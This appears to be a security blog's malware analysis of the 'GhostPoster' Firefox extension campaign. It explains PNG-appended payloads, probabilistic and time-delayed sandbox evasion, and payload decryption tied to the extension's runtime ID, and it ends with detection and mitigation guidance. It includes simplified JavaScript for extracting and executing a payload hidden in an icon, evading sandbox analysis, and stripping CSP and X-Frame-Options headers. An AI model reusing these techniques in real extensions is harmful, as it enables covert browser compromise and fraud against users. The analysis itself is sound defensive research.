GhostPoster: Decrypting the Steganographic Browser Injection Campaign

By Ryan Wentzel
9 Min. Read
#Incident Anatomy#Cybersecurity#Malware Analysis#Browser Security#Steganography
GhostPoster: Decrypting the Steganographic Browser Injection Campaign

Table of Contents

Executive Summary

The implicit trust model of browser extensions has once again been weaponized. In a campaign dubbed "GhostPoster," threat actors successfully compromised over 50,000 Firefox users by concealing malicious payloads within the very iconography of trusted add-ons. Unlike traditional supply chain attacks that modify executable libraries or inject malicious scripts directly, GhostPoster leverages steganography to append malicious logic to benign PNG files, bypassing standard marketplace static analysis.

This report, based on research identified by Koi Security, deconstructs the infection chain, the loader's probabilistic evasion mechanics, and the campaign's systematic abuse of the WebExtensions API to strip critical browser security controls.

Key Findings:

  • At least 17 utility extensions were compromised, including popular tools like "Free VPN Forever" and variants of "Dark Reader"
  • Malicious code was hidden using append-based steganography in extension icon files
  • The loader implements a 10% activation probability combined with 48-hour dormancy cycles to evade sandbox analysis
  • Payloads are XOR-encrypted using victim-specific Runtime IDs, preventing cross-environment replay attacks
  • The malware systematically removes CSP and X-Frame-Options headers to enable affiliate fraud and persistent backdoor access

The Infection Vector: Steganography in logo.png

The GhostPoster campaign represents a significant evolution in browser extension compromise techniques. Rather than modifying JavaScript files directly—which would trigger hash-based integrity checks and code review scrutiny—the attackers embedded their payloads within image assets that are rarely subjected to deep inspection.

Why Append-Based Injection Over LSB

Traditional steganographic techniques modify the Least Significant Bits (LSB) of pixel data to encode hidden information. While effective for covert communication, LSB encoding has significant drawbacks for malware delivery:

  1. Fragility: LSB-encoded data is easily corrupted by image compression, resizing, or format conversion
  2. Capacity Limitations: The payload size is constrained by the image dimensions
  3. Detection Surface: Security tools increasingly scan for statistical anomalies in pixel data distributions

GhostPoster instead employs an append-based injection technique. The PNG file format specification allows for arbitrary data to exist after the IEND chunk (which marks the official end of image data). Image renderers simply ignore this trailing data, displaying the image normally while the malicious payload remains invisible to visual inspection.

┌─────────────────────────────────────────────────────────┐
│  PNG Signature (8 bytes)                                │
├─────────────────────────────────────────────────────────┤
│  IHDR Chunk (Image Header)                              │
├─────────────────────────────────────────────────────────┤
│  IDAT Chunks (Compressed Image Data)                    │
├─────────────────────────────────────────────────────────┤
│  IEND Chunk (End Marker)                                │
├─────────────────────────────────────────────────────────┤
│  === (Delimiter)                                        │
├─────────────────────────────────────────────────────────┤
│  [MALICIOUS PAYLOAD]                                    │
└─────────────────────────────────────────────────────────┘

This approach provides several operational advantages:

  • Unlimited Payload Size: The appended data is not constrained by image dimensions
  • Format Resilience: The payload survives as long as the file isn't truncated at the IEND boundary
  • Stealth: Marketplace scanners checking image validity see a perfectly valid PNG
  • Simplicity: No complex bit manipulation required—just string concatenation

The Extraction Mechanism

The extension's background script contains a seemingly innocuous routine for processing its own icon resource. This code pattern, stripped of obfuscation, follows this logic:

// Simplified representation of the extraction mechanism
async function loadConfiguration() {
  // Fetch the extension's own icon using the internal protocol
  const iconUrl = browser.runtime.getURL('icons/logo.png');
  const response = await fetch(iconUrl);
  const buffer = await response.arrayBuffer();

  // Convert to string for delimiter search
  const uint8Array = new Uint8Array(buffer);
  const decoder = new TextDecoder('utf-8');
  const dataString = decoder.decode(uint8Array);

  // Locate the hardcoded delimiter
  const delimiter = '===';
  const delimiterIndex = dataString.indexOf(delimiter);

  if (delimiterIndex !== -1) {
    // Extract everything after the delimiter
    const payload = dataString.substring(delimiterIndex + delimiter.length);
    // Execute the extracted code
    executePayload(payload);
  }
}

The Critical Decoupling: This architecture separates the malicious code from the extension's JavaScript files. During code review, auditors see only a generic file-parsing routine that reads the extension's own assets. The actual malicious logic exists in the PNG file, which is typically exempted from JavaScript code review processes.

The use of moz-extension:// protocol URLs (or chrome-extension:// in Chromium-based browsers) ensures the fetch request is same-origin, bypassing any CORS restrictions and avoiding external network indicators during the initial loading phase.

Evasion Architecture: The 10% Rule and Temporal Dormancy

GhostPoster implements sophisticated anti-analysis techniques designed to frustrate both automated sandbox environments and manual dynamic analysis.

Probabilistic Beaconing

The loader executes its primary network callback only 10% of the time the extension initializes:

function shouldActivate() {
  // Generate cryptographically random value
  const array = new Uint32Array(1);
  crypto.getRandomValues(array);

  // 10% activation probability
  return (array[0] % 100) < 10;
}

// Entry point
if (shouldActivate()) {
  initiateC2Communication();
} else {
  // Extension appears completely benign
  console.log('Extension loaded successfully');
}

The Strategic Calculus: In a standard sandbox analysis workflow, an extension might be executed 3-5 times before being classified as safe. With a 10% activation rate:

  • Probability of detection in 1 run: 10%
  • Probability of detection in 3 runs: 27.1%
  • Probability of detection in 5 runs: 40.9%
  • Probability of evasion across 5 runs: 59.1%

This means that nearly 60% of sandbox analyses will observe only benign behavior, leading to false-negative classifications. The malware trades infection efficiency for detection evasion—a calculus that clearly favored the attackers given the campaign's success.

48-Hour Sleep Cycles

When the probabilistic check fails or when the initial C2 communication is unsuccessful, the malware enters a 48-hour dormancy period:

const DORMANCY_PERIOD_MS = 48 * 60 * 60 * 1000; // 48 hours

async function scheduleRetry() {
  const lastAttempt = await browser.storage.local.get('lastAttempt');
  const now = Date.now();

  if (lastAttempt && (now - lastAttempt.timestamp) < DORMANCY_PERIOD_MS) {
    // Still in dormancy period - remain silent
    return;
  }

  // Record this attempt
  await browser.storage.local.set({ lastAttempt: { timestamp: now } });

  // Attempt C2 communication
  if (shouldActivate()) {
    await initiateC2Communication();
  }
}

Sandbox Evasion: Most automated malware analysis sandboxes operate on time-limited cycles, typically ranging from 5-30 minutes. A 48-hour sleep cycle ensures that:

  1. Short-duration dynamic scans never observe malicious behavior
  2. The beaconing pattern mimics legitimate software update checks
  3. Network forensics analysts see low-frequency traffic that blends with normal background activity

This temporal evasion technique is particularly effective because it exploits the operational constraints of security teams—maintaining 48-hour observation windows for every browser extension is simply not scalable.

Payload Delivery and Obfuscation

When the loader successfully activates, it initiates a multi-stage payload delivery process designed to complicate attribution and resist analysis.

C2 Infrastructure and Domain Selection

The primary C2 domains observed in this campaign were:

Domain Role Historical Association
liveupdt[.]com Primary C2 Adware distribution
dealctr[.]com Fallback C2 "Riskware" categorization

Strategic Domain Selection: The choice of domains historically associated with adware rather than malware is deliberate. Security Operations Centers (SOCs) typically prioritize alerts differently based on threat categorization:

  • Malware domains: Immediate incident response, potential isolation
  • Adware/Riskware domains: Lower priority, often bulk-processed or auto-closed

By using infrastructure that triggers "adware" classifications, the attackers reduce the likelihood of immediate human investigation, buying time for persistence establishment.

Multi-Layer Obfuscation Routine

The retrieved payload undergoes multiple obfuscation transformations before execution:

Layer 1 - Character Case Swapping:

function swapCase(str) {
  return str.split('').map(char => {
    if (char >= 'a' && char <= 'z') {
      return char.toUpperCase();
    } else if (char >= 'A' && char <= 'Z') {
      return char.toLowerCase();
    }
    return char;
  }).join('');
}

Layer 2 - Digit Substitution (8 ↔ 9):

function swapDigits(str) {
  return str.replace(/[89]/g, match => match === '8' ? '9' : '8');
}

Layer 3 - XOR Encryption with Runtime ID:

function xorDecrypt(encryptedData, key) {
  const keyBytes = new TextEncoder().encode(key);
  const dataBytes = Uint8Array.from(atob(encryptedData), c => c.charCodeAt(0));

  const decrypted = dataBytes.map((byte, i) =>
    byte ^ keyBytes[i % keyBytes.length]
  );

  return new TextDecoder().decode(decrypted);
}

While the first two layers provide only superficial obfuscation (trivially reversible once identified), they serve to defeat naive pattern matching and string-based detection signatures.

Runtime ID Binding

The most sophisticated obfuscation layer is the XOR encryption using the extension's unique local Runtime ID. The WebExtensions API provides each extension installation with a unique identifier:

const runtimeId = browser.runtime.id;
// Example: "jid1-BoFifL9Vbdl2zQ@jetpack"

This identifier is:

  • Unique per installation
  • Generated by the browser during extension installation
  • Not predictable by the C2 server without prior communication

Anti-Replay Implications: By encrypting the payload with a victim-specific key, the attackers ensure that:

  1. Captured payloads are non-portable: A payload captured from Victim A cannot be executed on Victim B's system
  2. Researcher replay attacks fail: Security analysts cannot simply replay network captures to observe payload behavior
  3. Shared IoCs are limited: File hashes of decrypted payloads are unique per victim, complicating signature-based detection

The C2 server must receive the Runtime ID during the initial beacon, then encrypt the payload specifically for that client. This creates an additional network exchange but significantly increases operational security.

Operational Impact: Stripping Browser Defenses

Once resident in the browser (persisted via browser.storage.local or IndexedDB), GhostPoster systematically degrades the victim's security posture by intercepting and modifying HTTP response headers.

CSP Header Removal

The malware registers a listener using the webRequest.onHeadersReceived API to strip Content-Security-Policy headers:

browser.webRequest.onHeadersReceived.addListener(
  function(details) {
    return {
      responseHeaders: details.responseHeaders.filter(header =>
        !['content-security-policy',
          'content-security-policy-report-only',
          'x-content-security-policy'
        ].includes(header.name.toLowerCase())
      )
    };
  },
  { urls: ["<all_urls>"] },
  ["blocking", "responseHeaders"]
);

Security Impact: Content-Security-Policy headers are the primary defense against Cross-Site Scripting (XSS) attacks. By removing CSP:

  • Inline script execution is unrestricted
  • External script sources are not validated
  • The eval() function becomes available for code execution
  • Frame-ancestors restrictions are lifted

This effectively returns the browser to a pre-CSP security model, enabling injection of arbitrary scripts into any page the user visits.

X-Frame-Options Bypass

Similarly, the malware removes X-Frame-Options and Content-Security-Policy: frame-ancestors directives:

const headersToRemove = [
  'x-frame-options',
  'content-security-policy'  // Also handles frame-ancestors
];

// Header stripping logic applied to all responses

Clickjacking Enablement: With frame-ancestor protections removed, the attackers can:

  1. Embed any website within an invisible iframe on a malicious page
  2. Overlay transparent click targets over legitimate UI elements
  3. Capture user interactions (clicks, form submissions) through the overlay

This technique is fundamental to the affiliate fraud scheme described below.

Affiliate Fraud and RCE Backdoor

The stripped security headers enable two primary monetization and persistence mechanisms:

Affiliate Commission Hijacking:

  1. The malware monitors navigation to e-commerce platforms (JD.com, Taobao, AliExpress observed)
  2. When a user initiates a purchase, the malware injects an invisible iframe
  3. The iframe loads the same product page through an affiliate link controlled by the attackers
  4. The actual purchase is redirected through this affiliate pathway
  5. Attackers receive commission on purchases they didn't genuinely refer

Persistent RCE Backdoor:

  1. With CSP disabled, the malware can inject script tags pointing to attacker-controlled domains
  2. These scripts receive commands from the C2 infrastructure
  3. Commands execute with the full privileges of the browser extension
  4. The backdoor persists across browser sessions via extension storage

The combination of header stripping and script injection creates a powerful platform for ongoing exploitation that survives beyond the initial infection vector.

Detection and Mitigation Strategies

For Security Teams

Network Indicators of Compromise (IoCs):

  • Monitor for DNS queries to liveupdt[.]com and dealctr[.]com
  • Alert on browser processes making connections to these domains
  • Implement DNS sinkholing for known C2 infrastructure

Endpoint Detection:

  • Audit installed browser extensions against known-good baselines
  • Monitor for extensions with webRequest and webRequestBlocking permissions that modify security headers
  • Implement browser extension whitelisting policies in enterprise environments

Behavioral Indicators of Attack (IoAs):

  • CSP headers present in server responses but absent in browser DevTools
  • Unexpected iframe elements on e-commerce sites
  • Extension background scripts making periodic external requests

For End Users

Immediate Actions:

  1. Review installed browser extensions and remove any unfamiliar or unnecessary add-ons
  2. Check extension permissions—legitimate extensions rarely need webRequest with <all_urls> access
  3. Use browser's built-in extension review features to verify installation sources

Preventive Measures:

  1. Install extensions only from official browser add-on stores
  2. Prefer extensions from verified publishers with established track records
  3. Regularly audit extension permissions and revoke access to those not actively used
  4. Enable browser security features like Enhanced Tracking Protection in Firefox

For Extension Marketplace Operators

Recommended Improvements:

  1. Implement entropy analysis on image assets to detect appended data
  2. Validate that PNG files terminate properly at the IEND chunk
  3. Monitor for extensions requesting both webRequest permissions and local file access
  4. Implement behavioral sandboxing that extends analysis windows beyond current limits
  5. Flag extensions that modify security-related response headers

Conclusion: The Evolution of Extension-Based Threats

The GhostPoster campaign demonstrates a concerning evolution in browser extension compromise techniques. By combining steganographic payload hiding, probabilistic evasion, and systematic security header stripping, the attackers created a persistent threat that evaded marketplace review, sandbox analysis, and traditional endpoint detection.

Key Lessons:

  1. Trust Boundaries Need Reassessment: Browser extensions operate with significant privileges that users often don't fully understand. The implicit trust granted to "utility" extensions creates a substantial attack surface.

  2. Static Analysis Has Limits: Code review processes that focus on JavaScript files while treating image assets as benign will miss append-based payload injection. Defense in depth requires treating all extension assets as potentially executable.

  3. Time-Based Evasion Is Highly Effective: The combination of probabilistic activation and 48-hour sleep cycles specifically targets the operational constraints of security analysis workflows. Detection capabilities must evolve to account for long-dormancy threats.

  4. Header Manipulation Is Undermonitored: The ability to strip CSP and X-Frame-Options headers effectively downgrades a modern browser's security model. Organizations should monitor for header discrepancies between server responses and client-side observations.

  5. Victim-Specific Encryption Complicates Response: The use of Runtime ID-based encryption creates challenges for threat intelligence sharing and incident response. Traditional IoC sharing becomes less effective when payloads are unique per victim.

The GhostPoster campaign serves as a reminder that the browser extension ecosystem remains a high-value target for sophisticated threat actors. As browsers continue to expand their security models, attackers will continue to find creative ways to subvert those protections through the trusted channel of browser extensions.

Organizations should treat extension security with the same rigor applied to other software supply chain risks, implementing comprehensive monitoring, strict permission policies, and ongoing behavioral analysis to detect these evolving threats.

Share Your Thoughts

Found this article helpful? Share it with your network.

Get in Touch